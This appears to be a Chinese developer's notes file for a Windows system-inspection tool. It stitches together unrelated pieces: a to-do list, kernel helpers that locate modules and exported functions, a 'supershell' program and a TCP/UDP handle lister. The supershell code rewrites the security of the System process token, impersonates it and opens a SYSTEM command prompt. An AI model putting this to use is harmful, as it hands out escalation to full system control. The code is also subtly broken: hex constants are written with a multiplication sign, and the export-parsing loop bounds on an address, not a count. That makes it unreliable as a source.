C:\Documents and Settings\All Users\「开始」菜单\程序\启动\
任务计划
AppInit

5. 在加载的模块中, 应该也要获取RING3中加载的基址大于0×70000000的动态链接库文件

6. 在module viewer中加入进程检测模块时要加入线程列表,模块列表

7. 用upxshell压缩

8. 加入DbgPrint viewer模块

9.  KernelGetModuleBase("ntoskrnl.exe");
PVOID
KernelGetModuleBase(
    PCHAR  pModuleName
    )
{
    PVOID pModuleBase = NULL;

    __try
    {
        NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
        ULONG    SystemInfoBufferSize = 0;
        PULONG   pSystemInfoBuffer = NULL;

        status = ZwQuerySystemInformation(SystemModuleInfo,
            &SystemInfoBufferSize,
            0,
            &SystemInfoBufferSize);

        if (!SystemInfoBufferSize)
            return NULL;

        pSystemInfoBuffer = (PULONG)ExAllocatePool(NonPagedPool, SystemInfoBufferSize);

        if (!pSystemInfoBuffer)
            return NULL;

        memset(pSystemInfoBuffer, 0, SystemInfoBufferSize);

        status = ZwQuerySystemInformation(SystemModuleInfo,
            pSystemInfoBuffer,
            SystemInfoBufferSize,
            &SystemInfoBufferSize);

        if (NT_SUCCESS(status))
        {
            PSYSTEM_MODULE_ENTRY pSysModuleEntry =((PSYSTEM_MODULE_INFORMATION)(pSystemInfoBuffer))->Module;
            ULONG i;
            
            for (i = 0; i <((PSYSTEM_MODULE_INFORMATION)(pSystemInfoBuffer))->Count; i++)
            {
                if (_stricmp(pSysModuleEntry[i].ModuleName + pSysModuleEntry[i].ModuleNameOffset, pModuleName) == 0)
                {
                    pModuleBase = pSysModuleEntry[i].ModuleBaseAddress;
                    break;
                }
            }
        }

        ExFreePool(pSystemInfoBuffer);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        pModuleBase = NULL;
    }

    return pModuleBase;
} // end KernelGetModuleBase()

10. KernelGetProcAddress(0×80080000, "NtQuerySystemInformation");
PVOID
KernelGetProcAddress(
    PVOID ModuleBase,
    PCHAR pFunctionName
    )
{
    PVOID pFunctionAddress = NULL;
    
    __try
    {
        PIMAGE_DOS_HEADER dos =(PIMAGE_DOS_HEADER) ModuleBase;
        PIMAGE_NT_HEADERS nt  =(PIMAGE_NT_HEADERS)((ULONG) ModuleBase + dos->e_lfanew);

        PIMAGE_DATA_DIRECTORY expdir =(PIMAGE_DATA_DIRECTORY) nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
        ULONG                 size = expdir->Size;
        ULONG                 addr = expdir->VirtualAddress;

        PIMAGE_EXPORT_DIRECTORY exports =(PIMAGE_EXPORT_DIRECTORY)((ULONG) ModuleBase + addr);

        PULONG functions =(PULONG)((ULONG) ModuleBase + exports->AddressOfFunctions);
        PSHORT ordinals  =(PSHORT)((ULONG) ModuleBase + exports->AddressOfNameOrdinals);
        PULONG names     =(PULONG)((ULONG) ModuleBase + exports->AddressOfNames);
        ULONG  max_name  =exports->NumberOfNames;
        ULONG  max_func  =exports->AddressOfFunctions;

        ULONG i;

        for (i = 0; i < exports->AddressOfNames; i++)
        {
            ULONG ord = ordinals[i];
            if(i >= max_name || ord >= max_func) {
                return NULL;
            }
            if (functions[ord] < addr || functions[ord] >= addr + size)
            {
                if (strcmp((PCHAR) ModuleBase + names[i], pFunctionName)  == 0)
                {
                    pFunctionAddress =(PVOID)((PCHAR) ModuleBase + functions[ord]);
                    break;
                }
            }
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        pFunctionAddress = NULL;
    }

    return pFunctionAddress;
} // end KernelGetProcAddress()

#include "precomp.h"
#include "stdio.h"
#include "supershell.h"
#include "Accctrl.h"
#include "Aclapi.h"

#define SD_SIZE (65536 + SECURITY_DESCRIPTOR_MIN_LENGTH)

DWORD DetermineSystemPID()
{
    OSVERSIONINFO ovi;
    ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx( &ovi );
    if( ovi.dwMajorVersion <= 4 )
        return 2;
    if( ovi.dwMinorVersion > 0)
        return 4;
    return 8;
} // DetermineSystemPID()

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
   UCHAR          ucSDbuf[SD_SIZE];
   PSECURITY_DESCRIPTOR pSD=(PSECURITY_DESCRIPTOR)ucSDbuf;
   DWORD          dwSDLengthNeeded;

   PACL           pAcl;
   PACL           pNewAcl;

   EXPLICIT_ACCESS explicitaccess;

   BOOL fDaclPresent,fDaclDefaulted;
   DWORD dwResult;

   UCHAR          ucAbsSDbuf[SD_SIZE];
   PSECURITY_DESCRIPTOR pAbsSD=(PSECURITY_DESCRIPTOR)ucAbsSDbuf;
   DWORD dwSDLength;

#define ACL_SIZE 2048
#define SID_SIZE 1024

   PACL pacl,psacl;
   DWORD dwAclSize=ACL_SIZE, dwSaclSize=ACL_SIZE;
   PSID pSidOwner,pSidPrimary;
   DWORD dwSidOwnLen=SID_SIZE,dwSidPrimLen=SID_SIZE;


   if(!GetKernelObjectSecurity(
      hProc,
      DACL_SECURITY_INFORMATION,
      pSD,
      SD_SIZE,
      &dwSDLengthNeeded))
   {
      return FALSE;
   }

   if(!GetSecurityDescriptorDacl(
      pSD,
      &fDaclPresent,
      &pAcl,
      &fDaclDefaulted))
   {
      return FALSE;
   }


   BuildExplicitAccessWithName(
      &explicitaccess,
      __TEXT("administrators"),
      dwAccess,
      GRANT_ACCESS,
      0 );

   if( dwResult = SetEntriesInAcl(
      1,
      &explicitaccess,
      pAcl,
      &pNewAcl ) )
   {
      SetLastError(dwResult);
      return FALSE;
   }


   pacl = (ACL*)malloc(ACL_SIZE);
   psacl = (ACL*)malloc(ACL_SIZE);
   pSidOwner = malloc(SID_SIZE);
   pSidPrimary = malloc(SID_SIZE);

   dwSDLength = SD_SIZE;

   if(!MakeAbsoluteSD(
      pSD,
      pAbsSD,
      &dwSDLength,
      pacl, &dwAclSize,
      psacl, &dwSaclSize,
      pSidOwner, &dwSidOwnLen,
      pSidPrimary, &dwSidPrimLen))
   {
      return FALSE;
   }

   if(!SetSecurityDescriptorDacl(
      pAbsSD,
      fDaclPresent,
      pNewAcl,
      fDaclDefaulted))
   {
      return FALSE;
   }

   if(!SetKernelObjectSecurity(
      hProc,
      DACL_SECURITY_INFORMATION,
      pAbsSD))
   {
      return FALSE;
   }

   return TRUE;
}


BOOL supershell()
{
    HANDLE hToken;
    if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        return FALSE;

    LUID DebugValue;
    if( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &DebugValue ) )
        return FALSE;

    TOKEN_PRIVILEGES tkp;
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = DebugValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), 0, 0 );

    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, DetermineSystemPID());
    if( !hProcess )
        return FALSE;

    if( !OpenProcessToken( hProcess, READ_CONTROL|WRITE_DAC, &hToken) )
        return FALSE;

    if( !ModifySecurity( hToken, TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_QUERY) )
        return FALSE;

    CloseHandle(hToken);

    if( !OpenProcessToken( hProcess, TOKEN_QUERY|TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY, &hToken) )
        return FALSE;

    if( !ImpersonateLoggedOnUser( hToken ) )
        return FALSE;

    CHAR szWindows[MAX_PATH];
    
    if( !GetSystemDirectory(szWindows, sizeof(szWindows)) )
        return FALSE;

    CHAR szCmdExe[MAX_PATH];
    sprintf( szCmdExe, "%s\\cmd.exe", szWindows );
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    memset( &si, 0, sizeof(STARTUPINFO) );
    si.cb = sizeof(STARTUPINFO);
    si.lpDesktop = __TEXT("winsta0\\default");

    return CreateProcessAsUser(
        hToken,
        szCmdExe,
        szCmdExe,
        NULL, // default process attributes
        NULL, // default thread attributes
        FALSE, // don’t inherit handles
        CREATE_NEW_CONSOLE,
        NULL,  // inherit environment
        szWindows,  // same directory
        &si,
        &pi );
}

int main( int argc, char* argv[] )
{
    return supershell();
} // main()



//
// Coded By Napalm
// Modified By ZwelL
//
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>

#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "shlwapi.lib")

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef void (WINAPI * PIO_APC_ROUTINE)(PVOID, PIO_STATUS_BLOCK, DWORD);

typedef LONG TDI_STATUS;
typedef PVOID CONNECTION_CONTEXT;        // connection context

typedef struct _TDI_REQUEST {
    union {
        HANDLE AddressHandle;
        CONNECTION_CONTEXT ConnectionContext;
        HANDLE ControlChannel;
    } Handle;

    PVOID RequestNotifyObject;
    PVOID RequestContext;
    TDI_STATUS TdiStatus;
} TDI_REQUEST, *PTDI_REQUEST;

typedef struct _TDI_CONNECTION_INFORMATION {
    LONG UserDataLength;        // length of user data buffer
    PVOID UserData;            // pointer to user data buffer
    LONG OptionsLength;        // length of following buffer
    PVOID Options;             // pointer to buffer containing options
    LONG RemoteAddressLength;   // length of following buffer
    PVOID RemoteAddress;        // buffer containing the remote address
} TDI_CONNECTION_INFORMATION, *PTDI_CONNECTION_INFORMATION;

typedef struct _TDI_REQUEST_QUERY_INFORMATION {
    TDI_REQUEST Request;
    ULONG QueryType;             // class of information to be queried.
    PTDI_CONNECTION_INFORMATION RequestConnectionInformation;
} TDI_REQUEST_QUERY_INFORMATION, *PTDI_REQUEST_QUERY_INFORMATION;

#define TDI_QUERY_ADDRESS_INFO           0×00000003
#define IOCTL_TDI_QUERY_INFORMATION      CTL_CODE(FILE_DEVICE_TRANSPORT, 4, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

typedef VOID *POBJECT;

typedef struct _SYSTEM_HANDLE {
    ULONG       uIdProcess;
    UCHAR       ObjectType;    // OB_TYPE_* (OB_TYPE_TYPE, etc.)
    UCHAR       Flags;        // HANDLE_FLAG_* (HANDLE_FLAG_INHERIT, etc.)
    USHORT         Handle;
    POBJECT         pObject;
    ACCESS_MASK    GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG           uCount;
    SYSTEM_HANDLE     Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;

typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING *POBJECT_NAME_INFORMATION;

#define SystemHandleInformation           16
#define ObjectNameInformation           1
#define STATUS_SUCCESS                ((NTSTATUS)0×00000000L)
#define STATUS_INFO_LENGTH_MISMATCH       ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW           ((NTSTATUS)0×80000005L)
// ————————————————————————-


typedef NTSTATUS (WINAPI *tNTQSI)(DWORD SystemInformationClass, PVOID SystemInformation,
                                     DWORD SystemInformationLength, PDWORD ReturnLength);
typedef NTSTATUS (WINAPI *tNTQO)(HANDLE ObjectHandle, DWORD ObjectInformationClass, PVOID ObjectInformation,
                                    DWORD Length, PDWORD ResultLength);
typedef NTSTATUS (WINAPI *tNTDIOCF)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext,
                                  PIO_STATUS_BLOCK IoStatusBlock, DWORD IoControlCode,
                                  PVOID InputBuffer, DWORD InputBufferLength,
                                  PVOID OutputBuffer, DWORD OutputBufferLength);


void EnableDebugPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tokenPriv;
    LUID luidDebug;
    if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) != FALSE) {
        if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidDebug) != FALSE)
        {
             tokenPriv.PrivilegeCount            = 1;
             tokenPriv.Privileges [0].Luid       = luidDebug;
             tokenPriv.Privileges [0].Attributes = SE_PRIVILEGE_ENABLED;
             AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL);
        }
    }
}

LPWSTR GetObjectName(HANDLE hObject)
{
    LPWSTR lpwsReturn = NULL;
    tNTQO pNTQO = (tNTQO)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryObject");
    if(pNTQO != NULL){
        DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
        POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) new BYTE[dwSize];
        NTSTATUS ntReturn = pNTQO(hObject, ObjectNameInformation, pObjectInfo, dwSize, &dwSize);
        if(ntReturn == STATUS_BUFFER_OVERFLOW){
             delete pObjectInfo;
             pObjectInfo = (POBJECT_NAME_INFORMATION) new BYTE[dwSize];
             ntReturn = pNTQO(hObject, ObjectNameInformation, pObjectInfo, dwSize, &dwSize);
        }
        if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
        {
             lpwsReturn = (LPWSTR) new BYTE[pObjectInfo->Length + sizeof(WCHAR)];
             ZeroMemory(lpwsReturn, pObjectInfo->Length + sizeof(WCHAR));
             CopyMemory(lpwsReturn, pObjectInfo->Buffer, pObjectInfo->Length);
        }
        delete pObjectInfo;
    }
    return lpwsReturn;
}

void OutputConnectionDetails(HANDLE hObject, in_addr *ip, DWORD *port)
{
    tNTDIOCF pNTDIOCF = (tNTDIOCF)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtDeviceIoControlFile");
    if(pNTDIOCF != NULL){
        IO_STATUS_BLOCK IoStatusBlock;
        TDI_REQUEST_QUERY_INFORMATION tdiRequestAddress = {{0}, TDI_QUERY_ADDRESS_INFO};
        BYTE tdiAddress[128];

        HANDLE hEvent2 = CreateEvent(NULL, TRUE, FALSE, NULL);
        NTSTATUS ntReturn2 = pNTDIOCF(hObject, hEvent2, NULL, NULL, &IoStatusBlock, IOCTL_TDI_QUERY_INFORMATION,
             &tdiRequestAddress, sizeof(tdiRequestAddress), &tdiAddress, sizeof(tdiAddress));
        if(hEvent2) CloseHandle(hEvent2);

        if(ntReturn2 == STATUS_SUCCESS){
             struct in_addr *pAddr = (struct in_addr *)&tdiAddress[14];
             *ip = *pAddr;
             *port = ntohs(*(PUSHORT)&tdiAddress[12]);
        }
    }
}

int main(int argc, char *argv[])
{
    printf("TCP/UDP Handle List – by Napalm\n");
    printf("Modified by ZwelL\n");
    printf("===============================\n\n");

    EnableDebugPrivilege();

    tNTQSI pNTQSI = (tNTQSI)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQuerySystemInformation");
    if(pNTQSI != NULL){
        DWORD dwSize = sizeof(SYSTEM_HANDLE_INFORMATION);
        PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) new BYTE[dwSize];
        NTSTATUS ntReturn = pNTQSI(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
        if(ntReturn == STATUS_INFO_LENGTH_MISMATCH){
             delete pHandleInfo;
             pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) new BYTE[dwSize];
             ntReturn = pNTQSI(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
        }
        if(ntReturn == STATUS_SUCCESS){
             printf(" Found %d Handles. Listing TCP/UDP Handles…\n\n", pHandleInfo->uCount);
             printf(" PID\tHandle\t%-16sHandle Name\tIP Address\tPort\n", "Process Name");
             for(DWORD dwIdx = 0; dwIdx < pHandleInfo->uCount; dwIdx++)
             {
                HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
                     FALSE, pHandleInfo->Handles[dwIdx].uIdProcess);
                if(hProcess != INVALID_HANDLE_VALUE)
                {
                     HANDLE hObject = NULL;
                     if(DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handles[dwIdx].Handle,
                          GetCurrentProcess(), &hObject, STANDARD_RIGHTS_REQUIRED, FALSE, 0) != FALSE)
                      {
                          LPWSTR lpwsName = GetObjectName(hObject);
                          if(lpwsName != NULL){
                               if(!wcscmp(lpwsName, L"\\Device\\Tcp") || !wcscmp(lpwsName, L"\\Device\\Udp"))
                               {
                                   LPSTR lpszProcess = new CHAR[MAX_PATH];
                                   struct in_addr ipaddr;
                                   DWORD port;

                                   OutputConnectionDetails(hObject, &ipaddr, &port);
                                   ZeroMemory(lpszProcess, MAX_PATH);
                                   GetModuleFileNameEx(hProcess, NULL, lpszProcess, MAX_PATH);
                                   printf("%5d\t%6d\t%-16s%-20ws%12s%7d\t%s\n",
                                       pHandleInfo->Handles[dwIdx].uIdProcess,
                                       pHandleInfo->Handles[dwIdx].Handle,
                                       ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
                                       lpwsName,
                                       inet_ntoa(ipaddr),
                                       port,
                                       lpszProcess);
                                   delete lpszProcess;
                               }
                               delete lpwsName;
                          }
                          CloseHandle(hObject);
                     }
                     CloseHandle(hProcess);
                }
             }
             printf("\n\n");
        }else{
             printf("Error while trying to allocate memory for System Handle Information.\n");
        }
        delete pHandleInfo;
    }else{
        printf("Cannot find NtQuerySystemInformation API… Is this system not Win2K and above?");
    }

    return 0;
}